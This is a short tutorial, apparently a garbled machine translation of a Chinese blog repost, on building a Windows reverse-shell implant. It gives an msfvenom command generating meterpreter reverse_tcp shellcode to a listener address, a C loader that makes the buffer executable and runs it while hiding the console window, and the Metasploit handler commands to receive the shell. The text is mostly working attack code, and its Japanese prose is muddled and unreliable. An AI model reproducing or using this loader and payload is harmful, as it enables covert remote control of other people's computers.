シェルコードは、コンパイラの最適化を最小限に抑えます

1.シェルコードを生成

[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

2.シェルコードを交換してください

#pragma comment(linker,"/INCREMENTAL:NO")                                     // 减小编译体积
#pragma comment(linker, "/section:.data,RWE")                                 // 启用数据段可读写
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")    // 隐藏控制台CMD窗体

#include <windows.h>
int main(void)
{
    char *buff = (char*)"此处填写ShellCode";
    DWORD ShellCode;

    BOOL ret = VirtualProtect(buff, strlen(buff),PAGE_EXECUTE_READWRITE, &ShellCode);
    if (!ret) { return EXIT_FAILURE; }
    ((void(*)(void))buff)();
    return EXIT_SUCCESS;
}

イベントをリッスン3.MSF。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

4.私たちは、コンソールプロジェクトを選択する必要がどこに、新しいVSプロジェクトを開き、空のプロジェクトを選択します。

おすすめ

転載: www.cnblogs.com/LyShark/p/11355949.html